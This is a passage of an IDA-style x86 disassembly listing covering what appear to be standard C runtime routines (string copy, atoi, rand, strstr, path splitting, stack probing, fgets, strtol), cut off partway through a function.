					; ___:004016DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_41B673
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_41B614
		shr	ecx, 2
		jnz	short loc_41B681
		jmp	short loc_41B635
; ---------------------------------------------------------------------------


loc_41B614:				; CODE XREF: sub_41B5F0+1Bj
					; sub_41B5F0+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_41B642
		test	al, al
		jz	short loc_41B64A
		test	esi, 3
		jnz	short loc_41B614
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B681


loc_41B630:				; CODE XREF: sub_41B5F0+8Fj
		and	ebx, 3
		jz	short loc_41B642


loc_41B635:				; CODE XREF: sub_41B5F0+22j
					; sub_41B5F0+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_41B66E
		dec	ebx
		jnz	short loc_41B635


loc_41B642:				; CODE XREF: sub_41B5F0+2Bj
					; sub_41B5F0+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B64A:				; CODE XREF: sub_41B5F0+2Fj
		test	edi, 3
		jz	short loc_41B664


loc_41B652:				; CODE XREF: sub_41B5F0+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_41B6E6
		test	edi, 3
		jnz	short loc_41B652


loc_41B664:				; CODE XREF: sub_41B5F0+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41B6D7


loc_41B66B:				; CODE XREF: sub_41B5F0+7Fj
					; sub_41B5F0+F4j
		mov	[edi], al
		inc	edi


loc_41B66E:				; CODE XREF: sub_41B5F0+4Dj
		dec	ebx
		jnz	short loc_41B66B
		pop	ebx
		pop	esi


loc_41B673:				; CODE XREF: sub_41B5F0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B679:				; CODE XREF: sub_41B5F0+A9j
					; sub_41B5F0+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41B630


loc_41B681:				; CODE XREF: sub_41B5F0+20j
					; sub_41B5F0+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41B679
		test	dl, dl
		jz	short loc_41B6CB
		test	dh, dh
		jz	short loc_41B6C1
		test	edx, 0FF0000h
		jz	short loc_41B6B7
		test	edx, 0FF000000h
		jnz	short loc_41B679
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6B7:				; CODE XREF: sub_41B5F0+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6C1:				; CODE XREF: sub_41B5F0+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41B6CF
; ---------------------------------------------------------------------------


loc_41B6CB:				; CODE XREF: sub_41B5F0+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41B6CF:				; CODE XREF: sub_41B5F0+C5j
					; sub_41B5F0+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_41B6E1


loc_41B6D7:				; CODE XREF: sub_41B5F0+79j
		xor	eax, eax


loc_41B6D9:				; CODE XREF: sub_41B5F0+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_41B6D9


loc_41B6E1:				; CODE XREF: sub_41B5F0+E5j
		and	ebx, 3
		jnz	short loc_41B66B


loc_41B6E6:				; CODE XREF: sub_41B5F0+66j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41B5F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B6EE	proc near		; CODE XREF: sub_41B779+4p
					; sub_4247EC+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41B6F6:				; CODE XREF: sub_41B6EE+34j
		cmp	dword_43CBE4, 1
		jle	short loc_41B70E
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B71D
; ---------------------------------------------------------------------------


loc_41B70E:				; CODE XREF: sub_41B6EE+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_43C9D8
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41B71D:				; CODE XREF: sub_41B6EE+1Ej
		test	eax, eax
		jz	short loc_41B724
		inc	edi
		jmp	short loc_41B6F6
; ---------------------------------------------------------------------------


loc_41B724:				; CODE XREF: sub_41B6EE+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_41B734
		cmp	esi, 2Bh
		jnz	short loc_41B738


loc_41B734:				; CODE XREF: sub_41B6EE+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_41B738:				; CODE XREF: sub_41B6EE+44j
		xor	ebx, ebx


loc_41B73A:				; CODE XREF: sub_41B6EE+7Bj
		cmp	dword_43CBE4, 1
		jle	short loc_41B74F
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41B75A
; ---------------------------------------------------------------------------


loc_41B74F:				; CODE XREF: sub_41B6EE+53j
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41B75A:				; CODE XREF: sub_41B6EE+5Fj
		test	eax, eax
		jz	short loc_41B76B
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_41B73A
; ---------------------------------------------------------------------------


loc_41B76B:				; CODE XREF: sub_41B6EE+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41B774
		neg	eax


loc_41B774:				; CODE XREF: sub_41B6EE+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41B6EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B779	proc near		; CODE XREF: ___:00401527p
					; sub_401ACD+733p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B6EE
		pop	ecx
		retn
sub_41B779	endp

; ---------------------------------------------------------------------------
		mov	eax, off_43A97C
		test	eax, eax
		jz	short loc_41B78F
		call	eax ; sub_41C748


loc_41B78F:				; CODE XREF: ___:0041B78Bj
		push	offset dword_42902C
		push	offset dword_429018
		call	sub_41B86C
		push	offset dword_429014
		push	offset dword_429000
		call	sub_41B86C
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_41B7D3
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41B7C2	proc near		; CODE XREF: sub_41DA29+1Cp
					; sub_42255C+2276p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_41B7D3
		add	esp, 0Ch
		retn
sub_41B7C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B7D3	proc near		; CODE XREF: ___:0041B7B9p
					; sub_41B7C2+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4DB9A0, edi
		jnz	short loc_41B7F0
		push	[esp+4+arg_0]
		nop
		call	near ptr 2720632h
		push	eax
		call	near ptr 2710ABAh
		nop


loc_41B7F0:				; CODE XREF: sub_41B7D3+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4DB99C, edi
		mov	byte_4DB998, bl
		jnz	short loc_41B844
		mov	eax, dword_4DCFFC
		test	eax, eax
		jz	short loc_41B833
		mov	ecx, dword_4DCFF8
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_41B832


loc_41B81F:				; CODE XREF: sub_41B7D3+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B827
		call	eax


loc_41B827:				; CODE XREF: sub_41B7D3+50j
		sub	esi, 4
		cmp	esi, dword_4DCFFC
		jnb	short loc_41B81F


loc_41B832:				; CODE XREF: sub_41B7D3+4Aj
		pop	esi


loc_41B833:				; CODE XREF: sub_41B7D3+3Cj
		push	offset dword_429038
		push	offset dword_429030
		call	sub_41B86C
		pop	ecx
		pop	ecx


loc_41B844:				; CODE XREF: sub_41B7D3+33j
		push	offset dword_429044
		push	offset dword_42903C
		call	sub_41B86C
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_41B86A
		push	[esp+4+arg_0]
		mov	dword_4DB9A0, edi
		nop
		call	near ptr 77E75CB5h


loc_41B86A:				; CODE XREF: sub_41B7D3+85j
		pop	edi
		retn
sub_41B7D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B86C	proc near		; CODE XREF: ___:0041B799p
					; ___:0041B7A8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]


loc_41B871:				; CODE XREF: sub_41B86C+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_41B884
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41B87F
		call	eax


loc_41B87F:				; CODE XREF: sub_41B86C+Fj
		add	esi, 4
		jmp	short loc_41B871
; ---------------------------------------------------------------------------


loc_41B884:				; CODE XREF: sub_41B86C+9j
		pop	esi
		retn
sub_41B86C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B886	proc near		; CODE XREF: ___:004013B0p
					; ___:004014B6p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B8C6
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B8D3
; ---------------------------------------------------------------------------


loc_41B8C6:				; CODE XREF: sub_41B886+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B8D3:				; CODE XREF: sub_41B886+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B886	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8D8	proc near		; CODE XREF: ___:00401266p
					; sub_401ACD+31A3p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_43A960, eax
		retn
sub_41B8D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B8E2	proc near		; CODE XREF: ___:loc_401379p
					; ___:loc_4016A7p ...
		mov	eax, dword_43A960
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_43A960, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_41B8E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B900	proc near		; CODE XREF: ___:0040134Ep
					; sub_401ACD+8Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_41B97A
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_41B967


loc_41B918:				; CODE XREF: sub_41B900+52j
					; sub_41B900+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jz	short loc_41B934


loc_41B929:				; CODE XREF: sub_41B900+32j
		mov	al, [esi]
		inc	esi


loc_41B92C:				; CODE XREF: sub_41B900+3Fj
		cmp	al, dl
		jz	short loc_41B93A
		test	al, al
		jnz	short loc_41B929


loc_41B934:				; CODE XREF: sub_41B900+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41B93A:				; CODE XREF: sub_41B900+23j
					; sub_41B900+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_41B92C
		lea	edi, [esi-1]


loc_41B944:				; CODE XREF: sub_41B900+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_41B973
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_41B918
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_41B973
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_41B944
		jmp	short loc_41B918
; ---------------------------------------------------------------------------


loc_41B967:				; CODE XREF: sub_41B900+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_41BFB6
; ---------------------------------------------------------------------------


loc_41B973:				; CODE XREF: sub_41B900+49j
					; sub_41B900+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B97A:				; CODE XREF: sub_41B900+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_41B900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B980	proc near		; CODE XREF: ___:0040133Bp
					; sub_401ACD+1C73p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41B9BF
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41B9CC
; ---------------------------------------------------------------------------


loc_41B9BF:				; CODE XREF: sub_41B980+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41B9CC:				; CODE XREF: sub_41B980+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41B980	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B9D1	proc near		; CODE XREF: ___:00401318p
					; sub_401ACD+21D2p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41AFE0
		cmp	eax, 1
		pop	ecx
		jb	short loc_41BA0C
		cmp	byte ptr [ebx+1], 3Ah
		jnz	short loc_41BA0C
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jz	short loc_41BA08
		push	2
		push	ebx
		push	esi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+2], 0


loc_41BA08:				; CODE XREF: sub_41B9D1+25j
		inc	ebx
		inc	ebx
		jmp	short loc_41BA16
; ---------------------------------------------------------------------------


loc_41BA0C:				; CODE XREF: sub_41B9D1+18j
					; sub_41B9D1+1Ej
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BA16
		and	byte ptr [eax],	0


loc_41BA16:				; CODE XREF: sub_41B9D1+39j
					; sub_41B9D1+40j
		and	[ebp+arg_4], 0
		cmp	byte ptr [ebx],	0
		mov	eax, ebx
		mov	esi, 0FFh
		mov	[ebp+arg_0], eax
		jz	short loc_41BA8E


loc_41BA29:				; CODE XREF: sub_41B9D1+87j
		mov	cl, [eax]
		movzx	edx, cl
		test	byte_4DCEC1[edx], 4
		jz	short loc_41BA3A
		inc	eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA3A:				; CODE XREF: sub_41B9D1+64j
		cmp	cl, 2Fh
		jz	short loc_41BA4E
		cmp	cl, 5Ch
		jz	short loc_41BA4E
		cmp	cl, 2Eh
		jnz	short loc_41BA54
		mov	[ebp+var_4], eax
		jmp	short loc_41BA54
; ---------------------------------------------------------------------------


loc_41BA4E:				; CODE XREF: sub_41B9D1+6Cj
					; sub_41B9D1+71j
		lea	ecx, [eax+1]
		mov	[ebp+arg_4], ecx


loc_41BA54:				; CODE XREF: sub_41B9D1+67j
					; sub_41B9D1+76j ...
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41BA29
		mov	edi, [ebp+arg_4]
		mov	[ebp+arg_0], eax
		test	edi, edi
		jz	short loc_41BA8E
		cmp	[ebp+arg_8], 0
		jz	short loc_41BA89
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BA72
		mov	edi, esi


loc_41BA72:				; CODE XREF: sub_41B9D1+9Dj
		push	edi
		push	ebx
		push	[ebp+arg_8]
		call	sub_420289
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BA89:				; CODE XREF: sub_41B9D1+97j
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41BA98
; ---------------------------------------------------------------------------


loc_41BA8E:				; CODE XREF: sub_41B9D1+56j
					; sub_41B9D1+91j
		mov	ecx, [ebp+arg_8]
		test	ecx, ecx
		jz	short loc_41BA98
		and	byte ptr [ecx],	0


loc_41BA98:				; CODE XREF: sub_41B9D1+BBj
					; sub_41B9D1+C2j
		mov	edi, [ebp+var_4]
		test	edi, edi
		jz	short loc_41BAEB
		cmp	edi, ebx
		jb	short loc_41BAEB
		cmp	[ebp+arg_C], 0
		jz	short loc_41BAC8
		sub	edi, ebx
		cmp	edi, esi
		jb	short loc_41BAB1
		mov	edi, esi


loc_41BAB1:				; CODE XREF: sub_41B9D1+DCj
		push	edi
		push	ebx
		push	[ebp+arg_C]
		call	sub_420289
		mov	eax, [ebp+arg_C]
		add	esp, 0Ch
		and	byte ptr [edi+eax], 0
		mov	eax, [ebp+arg_0]


loc_41BAC8:				; CODE XREF: sub_41B9D1+D6j
		mov	edi, [ebp+arg_10]
		test	edi, edi
		jz	short loc_41BB13
		sub	eax, [ebp+var_4]
		cmp	eax, esi
		jnb	short loc_41BAD8
		mov	esi, eax


loc_41BAD8:				; CODE XREF: sub_41B9D1+103j
		push	esi
		push	[ebp+var_4]
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0
		jmp	short loc_41BB13
; ---------------------------------------------------------------------------


loc_41BAEB:				; CODE XREF: sub_41B9D1+CCj
					; sub_41B9D1+D0j
		mov	edi, [ebp+arg_C]
		test	edi, edi
		jz	short loc_41BB09
		sub	eax, ebx
		cmp	eax, esi
		jnb	short loc_41BAFA
		mov	esi, eax


loc_41BAFA:				; CODE XREF: sub_41B9D1+125j
		push	esi
		push	ebx
		push	edi
		call	sub_420289
		add	esp, 0Ch
		and	byte ptr [esi+edi], 0


loc_41BB09:				; CODE XREF: sub_41B9D1+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_41BB13
		and	byte ptr [eax],	0


loc_41BB13:				; CODE XREF: sub_41B9D1+FCj
					; sub_41B9D1+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B9D1	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BB20	proc near		; CODE XREF: sub_401955+8p
					; sub_401ACD+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_41BB40


loc_41BB2C:				; CODE XREF: sub_41BB20+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_41BB2C


loc_41BB40:				; CODE XREF: sub_41BB20+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_41BB20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB4F	proc near		; CODE XREF: sub_401ACD+757Fp
					; sub_401ACD+75AEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	edi
		mov	edi, ebx
		jg	short loc_41BB63
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB63:				; CODE XREF: sub_41BB4F+Ej
		dec	[ebp+arg_4]
		push	esi
		jz	short loc_41BB93
		mov	esi, [ebp+arg_8]


loc_41BB6C:				; CODE XREF: sub_41BB4F+42j
		dec	dword ptr [esi+4]
		js	short loc_41BB7B
		mov	ecx, [esi]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		jmp	short loc_41BB82
; ---------------------------------------------------------------------------


loc_41BB7B:				; CODE XREF: sub_41BB4F+20j
		push	esi
		call	sub_41F043
		pop	ecx


loc_41BB82:				; CODE XREF: sub_41BB4F+2Aj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BB9D
		mov	[edi], al
		inc	edi
		cmp	al, 0Ah
		jz	short loc_41BB93
		dec	[ebp+arg_4]
		jnz	short loc_41BB6C


loc_41BB93:				; CODE XREF: sub_41BB4F+18j
					; sub_41BB4F+3Dj ...
		and	byte ptr [edi],	0


loc_41BB96:				; CODE XREF: sub_41BB4F+55j
		mov	eax, ebx
		pop	esi


loc_41BB99:				; CODE XREF: sub_41BB4F+12j
		pop	edi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BB9D:				; CODE XREF: sub_41BB4F+36j
		cmp	edi, [ebp+arg_0]
		jnz	short loc_41BB93
		xor	ebx, ebx
		jmp	short loc_41BB96
sub_41BB4F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BBA6	proc near		; CODE XREF: ___:0041DDA5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BBA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBBD	proc near		; CODE XREF: sub_41BBA6+Ep
					; sub_41BDC5+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_41BBD5:				; CODE XREF: sub_41BBBD+46j
		cmp	dword_43CBE4, 1
		jle	short loc_41BBED
		movzx	eax, bl
		push	8
		push	eax
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BBFC
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBBD+1Fj
		mov	ecx, off_43C9D8
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_41BBFC:				; CODE XREF: sub_41BBBD+2Ej
		test	eax, eax
		jz	short loc_41BC05
		mov	bl, [esi]
		inc	esi
		jmp	short loc_41BBD5
; ---------------------------------------------------------------------------


loc_41BC05:				; CODE XREF: sub_41BBBD+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_41BC13
		or	[ebp+arg_C], 2
		jmp	short loc_41BC18
; ---------------------------------------------------------------------------


loc_41BC13:				; CODE XREF: sub_41BBBD+4Ej
		cmp	bl, 2Bh
		jnz	short loc_41BC1E


loc_41BC18:				; CODE XREF: sub_41BBBD+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC1E:				; CODE XREF: sub_41BBBD+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_41BDB5
		cmp	eax, 1
		jz	loc_41BDB5
		cmp	eax, 24h
		jg	loc_41BDB5
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_41BC66
		cmp	bl, 30h
		jz	short loc_41BC50
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: sub_41BBBD+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC63
		cmp	al, 58h
		jz	short loc_41BC63
		mov	[ebp+arg_8], 8
		jmp	short loc_41BC82
; ---------------------------------------------------------------------------


loc_41BC63:				; CODE XREF: sub_41BBBD+97j
					; sub_41BBBD+9Bj
		mov	[ebp+arg_8], ecx


loc_41BC66:				; CODE XREF: sub_41BBBD+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41BC82
		cmp	bl, 30h
		jnz	short loc_41BC82
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_41BC7A
		cmp	al, 58h
		jnz	short loc_41BC82


loc_41BC7A:				; CODE XREF: sub_41BBBD+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_41BC82:				; CODE XREF: sub_41BBBD+91j
					; sub_41BBBD+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_41BC92:				; CODE XREF: sub_41BBBD+16Cj
		cmp	dword_43CBE4, 1
		movzx	esi, bl
		jle	short loc_41BCAA
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCB5
; ---------------------------------------------------------------------------


loc_41BCAA:				; CODE XREF: sub_41BBBD+DFj
		mov	eax, off_43C9D8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41BCB5:				; CODE XREF: sub_41BBBD+EBj
		test	eax, eax
		jz	short loc_41BCC1
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_41BCF3
; ---------------------------------------------------------------------------


loc_41BCC1:				; CODE XREF: sub_41BBBD+FAj
		cmp	dword_43CBE4, 1
		jle	short loc_41BCD5
		push	edi
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_41BCE0
; ---------------------------------------------------------------------------


loc_41BCD5:				; CODE XREF: sub_41BBBD+10Bj
		mov	eax, off_43C9D8
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_41BCE0:				; CODE XREF: sub_41BBBD+116j
		test	eax, eax
		jz	short loc_41BD2E
		movsx	eax, bl
		push	eax
		call	sub_420313
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_41BCF3:				; CODE XREF: sub_41BBBD+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41BD2E
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_41BD18
		jnz	short loc_41BD12
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_41BD18


loc_41BD12:				; CODE XREF: sub_41BBBD+147j
		or	[ebp+arg_C], 4
		jmp	short loc_41BD21
; ---------------------------------------------------------------------------


loc_41BD18:				; CODE XREF: sub_41BBBD+145j
					; sub_41BBBD+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_41BD21:				; CODE XREF: sub_41BBBD+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_41BC92
; ---------------------------------------------------------------------------


loc_41BD2E:				; CODE XREF: sub_41BBBD+125j
					; sub_41BBBD+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_41BD4C
		test	edx, edx
		jz	short loc_41BD46
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_41BD46:				; CODE XREF: sub_41BBBD+181j
		and	[ebp+var_8], 0
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD4C:				; CODE XREF: sub_41BBBD+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_41BD72
		test	cl, 1
		jnz	short loc_41BD99
		and	ecx, 2
